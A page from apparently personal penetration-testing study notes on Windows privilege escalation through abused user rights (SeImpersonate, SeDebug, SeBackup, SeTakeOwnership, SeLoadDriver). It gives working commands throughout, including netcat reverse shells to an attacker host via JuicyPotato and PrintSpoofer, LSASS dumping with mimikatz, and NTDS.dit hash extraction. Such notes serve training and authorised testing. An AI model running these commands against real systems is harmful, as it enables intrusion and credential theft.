Pentest Notes
  • 🏠/home/x3m1Sec/.pt-notes
  • 📝Pentest Notes
    • 🔍Information Gathering
    • 📜Protocols and Services
      • DNS Port (53)
      • FTP Port (21)
      • IMAP Ports (143,993)
      • IPMI Port (623)
      • Kerberos Port (88)
      • MSSQL Port (1433)
      • MySQL Port (3306)
      • NFS Ports (111,2049)
      • NetBIOS Ports (137,138,139)
      • Oracle TNS Port (1521)
      • POP3 Port (110)
      • PostgreSQL Port (5432)
      • RDP Port (3389)
      • SMB Ports (139,445)
      • SMTP Port (25)
      • SNMP Ports (161,162)
      • Java RMI Port (1099)
      • LDAP Ports (389,636)
      • Apache Tomcat Ports (8080,8180)
      • Port 123 - NTP
      • RPCBind Ports (111,32771)
      • Email Services
      • Nmap Commands for Port Discovery
    • 🕸️Web Applications
      • Web Attacks
        • Cross Site Scripting (XSS)
        • SQL Injection (SQLi)
        • File Upload Vulnerabilities
        • Insecure Direct Object References (IDOR)
        • OS Command Injection
        • Local File Inclusion (LFI)
        • Remote File Inclusion (RFI)
        • XML External Entities (XXE)
        • HTTP Verb Tampering
        • Sub-domain Enumeration
      • Web Technologies
        • Tomcat
        • CGI Applications
        • WordPress
        • SAP Netweaver
        • Joomla
        • Drupal
        • Gitlab
        • Jenkins
        • Microsoft IIS
        • osTicket
        • PRTG Network Monitor
        • Splunk
      • Fuzzing
    • 🪟Active Directory Pentesting
      • 🔍Initial Enumeration
        • 👤Enumerating Users
      • 🛠️Abusing ACLs/ACEs
      • 🏛️Active Directory Certificate Services (ADCS)
      • 🎭Attacking Kerberos
      • 🐶Bloodhound
      • 🧰Tools
        • 🩸BloodyAD
        • 📦Impacket
        • 🦁Kerbrute
        • 📚LDAPSearch
        • 🧠PowerView.py
    • 🐧Linux Privilege Escalation
      • Linux PrivEsc Summary
      • PriveEsc Checklist
      • Enumerating Attack Vectors
      • Privileged Groups
      • Environment Variables Abuse
      • Capabilities Abuse
      • Programs, Jobs and Services
      • Miscellaneous Techniques
      • Recent CVEs
    • 🪟Windows Privilege Escalation
      • PriveEsc checklist
      • Enumerating Attack Vectors
      • Excessive User Rights Abuse
      • Built-in Groups Abuse
      • File System ACLs
      • Services Hijacking
      • User Account Control (UAC) Bypass
      • Living off the Land
    • 🐛Bug Bounty Hunting
      • Bug Bounty Tools
    • 👾Utilities, Scripts and Payloads
      • Shells and Payloads
      • Metasploit Framework
      • File Transfers
      • Pivoting, Tunneling, Port Forwarding
      • Password Attacks
      • Spawn TTY Shells
  • 🎮CTFs
    • 🟩Hack The Box
      • Linux
        • Easy
          • Busqueda
          • Help
          • Sau
          • Broker
          • Sea
          • Nibbles
          • Codify
          • Cozyhosting
          • Devvortex
          • Irked
          • Keeper
          • Knife
          • Pilgrimage
          • Soccer
          • Sunday
          • Tabby
          • Usage
          • Bashed
          • Analytics
          • Networked
          • Swagshop
          • Pandora
          • OpenAdmin
          • Precious
          • Boardlight
          • Editorial
          • Linkvortex
          • Underpass
        • Medium
          • Monitored
          • Updown
          • Popcorn
          • Jarvis
          • Mentor
          • Poison
          • Solidstate
          • Tartarsauce
          • Nineveh
          • Magic
          • Builder
        • Hard
      • Windows
        • Easy
          • Jerry
          • NetMon
        • Medium
        • Hard
    • 🔴TryHackMe
  • 🎓Road to certification
    • eJPTv2
      • My review
    • CPTS
      • Enumeration
        • Enum Cheklist
        • Initial Enumeration
      • Nmap
        • Nmap Full Flag
        • Protocol Scan
        • Scan-network-with-nmap
      • Attacking Common Applications
        • 1.Content Management Systems (CMS)
          • 1.-Wordpress-discovery-and-enumeration
          • 2.-Attacking-wordpress
          • 3.-Joomla-discovery-and-enumeration
          • 4.-Attacking-joomla
          • 5.-Drupal-discovery-and-enumeration
          • 6.-Attacking-drupal
        • 2. Servlet Containers and Software Development
          • 10.-Attacking-jenkins
          • 7.-Tomcat-discovery-and-enumeration
          • 8.-Attacking-tomcat
          • Attacking Jenkins - Focused Commands & Key Points
        • 3. Infrastructure and Network Monitoring Tools
          • 11.-Aplunk-discovery-and-enumeration
          • 12.-Attacking-splunk
          • 13.Prtg-network-monitor
        • 4. Customer Service Mgmt & Configuration Management
          • 14.-Osticket
          • 15.Gitlab-discovery-and-enumeration
          • 16.-Attacking-gitlab
        • 5. Common Gateway Interfaces
          • 17.-Attacking-tomcat-cgi
          • 18.-Attacking-cgi-applications-shellshock
        • 6. Thick Client Applications
          • 19.-Attacking-thick-client-applications
          • 20.Exploiting-web-vulnerabilities-in-thick-client-applications
        • 7. Miscellaneous Applications
          • 21.-Coldfusion-discovery-and-enumeration
          • ColdFusion Exploitation Guide
          • 23.-IIS-tilde-enumeration
          • 24.Attacking-ldap
          • 25.-Web-mass-assignment-vulnerabilities
          • 26.Attacking-applications-connecting-to-services
          • 27.Other-notable-applications
        • 8. Closing Out
          • 28.Application-hardening
      • Attacking Common Services
        • 1.Protocol-specific-attacks
        • 2.FTP
        • 3.SMB
        • 4.SQL-databases
        • 5.RDP
        • 6.DNS
        • 7.SMTP
      • Active Directory Enumeration & Attacks
        • 0. AD Pentest
          • Quick Guide To AD Pentesting
          • Active Directory: Full Attack Name
          • Active Directory Advanced Concepts
          • Active Directory Delegation
          • Beyond-Active-Directory
        • 1.Initial Enumeration
          • 1.External Recon and Enumeration Principles
          • 1.initial-enumeration-of-the-domain
          • Active-Directory-Basic-Command
        • 2.Sniffing out a Foothold
          • 3. LLMNR-NBT-NS Poisoning - from Linux
          • 4.LLMNR-NBT-NS Poisoning - from Windows
        • 3.Sighting In, Hunting For A User
          • 5.Password Spraying Overview
          • 6.Enumerating & Retrieving Password Policies
          • 7.Password Spraying - Making a Target User List
        • 4.Spray Responsibly
          • 8. Internal Password Spraying - from Linux
          • 9.Internal Password Spraying - from Windows
        • 5.Deeper Down the Rabbit Hole
          • 10. Enumerating Security Controls
          • 11. Credentialed Enumeration - from Linux
          • 12.Credentialed Enumeration - from Windows
          • 13. Living Off the Land
        • 6.Cooking with Fire
          • 14.Kerberoasting - from Linux
          • 15. Kerberoasting - from Windows
          • Kerberoasting Attack Step by Step Guide
          • Kerberoasting Attack Step by Step Guide
        • 7.An ACE in the Hole
          • 16.Access Control List (ACL) Abuse Primer
          • 17. ACL Enumeration
          • 18. ACL Abuse Tactics
          • 19. DCSync
        • 8.Stacking The Deck
          • 20.Privileged Access
          • 21.Kerberos Double Hop Problem
          • 22.Bleeding Edge Vulnerabilities
          • 23.Miscellaneous Misconfigurations
        • 9.Why So Trusting
          • 24.Domain Trusts Primer
          • 25.Attacking Domain Trusts - Child - Parent Trusts - from Windows
          • 26. Attacking Domain Trusts - Child - Parent Trusts - from Linux
        • 10.Breaking Down Boundaries
          • 27.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows
          • 28.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux
        • 11.Defensive Considerations
          • 29.Hardening-active-directory
          • 30.Additional AD Auditing Techniques
      • Linux Privilege Escalation
        • Linux-hardening
        • Linux-priv-esc-to-quick-check-the-system
        • 1.Information Gathering
          • 1.Environment-enumeration
          • 2.Linux-services-and-internals-enumeration
          • 3.Credential-hunting
        • 2.Environment-based Privilege Escalation
          • 4.Path-abuse
          • 5.Wildcard-abuse
          • 6.Escaping-restricted-shells
        • 3.Permissions-based Privilege Escalation
          • 10.Capabilities
          • 7.-Special-permissions
          • 8.Sudo-rights-abuse
          • 9.Privileged-groups
        • 4.Service-based Privilege Escalation
          • 11.Vulnerable-services
          • 12.Cron-job-abuse
          • LXC Privilege Escalation Techniques
          • 14.-Docker
          • 15.Kubernetes
          • 16.Logrotate
          • 17.Miscellaneous-techniques
        • 5.Linux Internals-based Privilege Escalation
          • 18.Kernel-exploits
          • 19.Shared-libraries
          • 20.Shared-object-hijacking
          • 21.Python-library-hijacking
        • 6.Recent 0-Days
          • 22.Sudo
          • 23.Polkit
          • 24.Dirty-pipe
          • 25.Netfilter
      • Windows Privilege Escalation
        • Priv-Esc
        • 1.Getting the Lay of the Land
          • 1.Situational-awareness
          • 2.Initial-enumeration
          • 3.Communication-with-processes
        • 2.Windows User Privileges
          • 4.windows-privileges-overview
          • 5.Seimpersonate-and-seassignprimarytoken
          • 6.Sedebugprivilege
          • Exploiting SeTakeOwnershipPrivilege
        • 3.Windows Group Privileges
          • 10.DNSadmins
          • 11.Hyper-v-administrators
          • Key Concepts:
          • Key Concepts:
          • 8.Windows-built-in-groups
          • Exploiting Event Log Readers Group for Security Log Access
        • 4.Attacking the OS
          • 14.User-account-control
          • 15.Weak-permissions
          • 16.Kernel-exploits
          • 17.Vulnerable-services
          • 18.DLL-injection
        • 5.Credential Theft
          • 19.Credential-hunting
          • 20.Other-files
          • 21.Further-credential-theft
        • 6.Restricted Environments
          • 22.-Citrix-breakout
        • 7.Additional Techniques
          • 23.Interacting-with-users
          • 24.Pillaging
          • 25.Miscellaneous-techniques
        • 8.Dealing with End of Life Systems
          • Key Points:
          • 27.windows-server
          • 28.windows-desktop-versions
      • Server-side Attacks
        • Server-side-vulnerabilities
      • Web Attacks
        • 1.-HTTP-verb-tampering
        • 2.-Insecure-direct-object-references-idor
        • 3.-XML-external-entity-xxe-injection
        • Web-attacks-to-the-point
      • Web Service & API Attacks
        • web-service-and-api-attacks
      • Command-injections
      • SQL-injection
      • XSS
        • XSS-based Session Hijacking
      • Broken Authentication
      • Login-brute-forcing
      • Password-attacks
      • Password-cracking
      • Session Security Guide
      • File-transfer
      • File-upload-attacks
      • Shells and payloads
      • Upgrading-tty-shell
      • Using-the-metasploit-framework
      • File Inclusion
        • 1.File Disclosure
          • 1.Local-file-inclusion-lfi
          • 2.Basic-bypasses
          • 3.PHP-filters
        • 2.Remote Code Execution
          • 4.PHP-wrappers
          • 5.Remote-file-inclusion-rfi
          • 6.LFI-and-file-uploads
          • 7.LOG-poisoning
        • 3.Automation and Prevention
          • 8.Automated-scanning
          • 9.File-inclusion-prevention
      • Ligolo-ng
      • Pivoting-tunneling-and-port-forwarding
      • TIPS
      • CheatSheet
    • OSCP
      • Preparation
      • Cheatsheets
      • Machine List
  • 📚Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • Pentestmonkey Revshell
    • OSINT Tools
    • Weakpass
Powered by GitBook
On this page
  • Disclaimer - Disabled Rights
  • SeImpersonate & SeAssignPrimaryToken - JuicyPotato & Printspoofer
  • Escalating Privileges with JuicyPotato
  • Escalating Privileges with PrintSpoofer
  • SeDebugPrivilege
  • SeTakeOwnershipPrivilege
  • SeBackupPrivilege
  • SeLoadDriverPrivilege
  • SeSecurityPrivilege
  • SeRestorePrivilege
  1. Pentest Notes
  2. Windows Privilege Escalation

Excessive User Rights Abuse

PreviousEnumerating Attack VectorsNextBuilt-in Groups Abuse

Last updated 2 months ago

Disclaimer - Disabled Rights

  • User privileges can be assigned but disabled.

  • Some of them can be re-enabled using scripts or commands depending on the privilege.

SeImpersonate & SeAssignPrimaryToken - JuicyPotato & Printspoofer

  • These privileges can be used to trick a process running as SYSTEM to connect to the exploit process, handing over the token to be used.

  • In other words, whenever a user has one of these privileges, it's possible to get privilege escalation by impersonating NT AUTHORITY\SYSTEM

Escalating Privileges with JuicyPotato

  1. Download juicypotato and nc.exe on the target machine

  2. Check CLSIDs:

    1. Use systeminfo to get the OS version

    2. Select the right list according to the OS Version from

    3. Download the test_clsid.bat file from the

    4. Run test_clsid.bat and wait, then check the result.log file

    5. Inside that log file you will find different CLSIDs.

    6. Look for a CLSID with SYSTEM privileges

  3. Start a netcat listener on the attacker machine: nc -lvnp 4444

  4. Run JuicyPotato: .\juicypotato.exe -l SAMEPORT -c CLSID_SYSTEM_FROM_RESULTS -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe attacker-ip SAME-LISTENING-PORT" -t *

  5. Disclaimer/Troubleshooting: the listening netcat port and the port specified after the -l flag need to be the same in order to get the reverse shell


Escalating Privileges with PrintSpoofer

  • JuicyPotato doesn't work on Windows Server 2019 and Windows 10 build 1809 onwards.

  • PrintSpoofer and RoguePotato can be used on them to leverage the same privileges and gain NT AUTHORITY\SYSTEM level access.

  • We can use the tool to spawn a SYSTEM process in the current console, spawn a SYSTEM process on a desktop (if logged on locally or via RDP), or catch a reverse shell

  • PoC to get a Reverse Shell:

    1. Download printspoofer.exe and nc.exe on the target machine

    2. Start a netcat listener on the attacker machine: nc -lvnp 4444

    3. Run PrintSpoofer: PrintSpoofer.exe -c "c:\tools\nc.exe attacker-ip netcat-port -e cmd"


SeDebugPrivilege

  • SeDebugPrivilege determines which users can attach to or open any process, even a process they do not own.

  • Developers who are debugging their applications DO NOT need this user right.

  • Developers who are debugging new system components need this user right.

  • This user right provides access to sensitive and critical operating system components.

  • This user right can be used to capture sensitive information from system memory, or access/modify kernel and application structures

  • Sometimes, developer users are assigned the debugprivilege rather than being added to the administrators group, who have this privilege by default

SeDebugPrivilege to Dump LSASS

  1. Use ProcDump to extract a dump of the LSASS process: procdump.exe -accepteula -ma lsass.exe lsass.dmp

  2. Using mimikatz.exe:

    • sekurlsa::minidump

    • sekurlsa::logonPasswords

    • Gain the NTLM Hashes to use for a Pass the Hash attack or to crack them


SeDebugPrivilege to gain Remote Code Execution as SYSTEM

  1. Open an elevated powershell console (e.g. right click on PS and run as admin)

  2. Run tasklist and look for a privileged process (e.g. winlogon.exe) and get its PID

  3. Run the script: .\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>,"")

  4. Alternatively:

    1. Import-Module .\psgetsys.ps1

    2. ImpersonateFromParentPid -ppid (Get-Process "lsass").Id -command "C:\tools\revshell.exe"


SeTakeOwnershipPrivilege

SeTakeOwnershipPrivilege is a policy setting that determines which users can take ownership of any securable object

  • Check target file current ownership

    • PowerShell: Get-ChildItem -Path 'C:\Path\to\file.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }

    • CMD: cmd /c dir /q 'C:\Path\to\file.txt'

    • Disclaimer: Sometimes the owner won't show due to lack of permissions

  • To take ownership of a file: takeown /f 'C:\Path\to\file.txt'

  • To enable full permissions on a file: icacls 'C:\Path\to\file.txt' /grant htb-student:F


SeBackupPrivilege

  • A user with SeBackupPrivilege enabled can bypass file and directory, registry, and other persistent object permissions for the purposes of backing up the system.

  • This will let us copy a file from a folder, bypassing any access control list (ACL).

  • However, we can't do this using the standard copy command.

  • Instead, we need to programmatically copy the data, making sure to specify the FILE_FLAG_BACKUP_SEMANTICS flag.

  • We can use the built-in robocopy tool or the following PoC to copy any file: https://github.com/giuliano108/SeBackupPrivilege


SeBackupPrivilege to Copy any file

  1. Import-Module .\SeBackupPrivilegeUtils.dll

  2. Import-Module .\SeBackupPrivilegeCmdLets.dll

  3. If the privilege is assigned but disabled, use Set-SeBackupPrivilege and verify with Get-SeBackupPrivilege

  4. Copy a file: Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txt


SeBackupPrivilege to Copy any file with robocopy [Built-in Utility]

  • Robocopy is a built-in utility that can be used to copy files in backup mode.

  • No external tools are required

  • robocopy /B E:\Windows\NTDS .\ntds ntds.dit


SeBackupPrivilege to copy NTDS.dit

  • The NTDS.dit file is locked by default

  • We can use the Windows diskshadow utility to create a shadow copy of the C drive and expose it as E drive.

  • The NTDS.dit in this shadow copy won't be in use by the system.

  • Then, we can use the Copy-FileSeBackupPrivilege cmdlet to bypass the ACL and copy the NTDS.dit locally.

Follow these steps:

  1. Import-Module .\SeBackupPrivilegeUtils.dll

  2. Import-Module .\SeBackupPrivilegeCmdLets.dll

  3. If the privilege is assigned but disabled, use Set-SeBackupPrivilege and verify with Get-SeBackupPrivilege

  4. Copy the NTDS file: Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

  5. Extract hashes using SecretsDump: secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL


SeLoadDriverPrivilege

  • This policy setting determines which users can dynamically load and unload device drivers.

  • This user right is not required if a signed driver for the new hardware already exists in the driver.cab file on the device

  • Device drivers run as highly privileged code.

Example - Capcom.sys

  • A typically vulnerable driver to this attack is Capcom.sys, which can allow any user to execute shellcode with SYSTEM privileges

  • PoC Usage: EOPLOADDRIVER.exe RegistryServicePath DriverImagePath

  • PoC Usage with CapCom.sys: EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\path-to-downloaded\Capcom.sys


SeSecurityPrivilege

  • This policy setting determines which users can specify object access audit options for individual resources such as files, Active Directory objects, and registry keys.

  • These objects specify their system access control lists (SACL).

  • A user assigned this user right can also view and clear the Security log in Event Viewer.


SeRestorePrivilege

  • This security setting determines which users can bypass file, directory, registry, and other persistent object permissions when they restore backed up files and directories.

  • It determines which users can set valid security principals as the owner of an object.

Get this on the target system

Download on the target machine:

Download EopLoadDriver and transfer on the target machine:

📝
🪟
Juicy Potato CLSIDs
JuicyPotato GitHub
PoC Script
Capcom.sys file
EopLoadDriver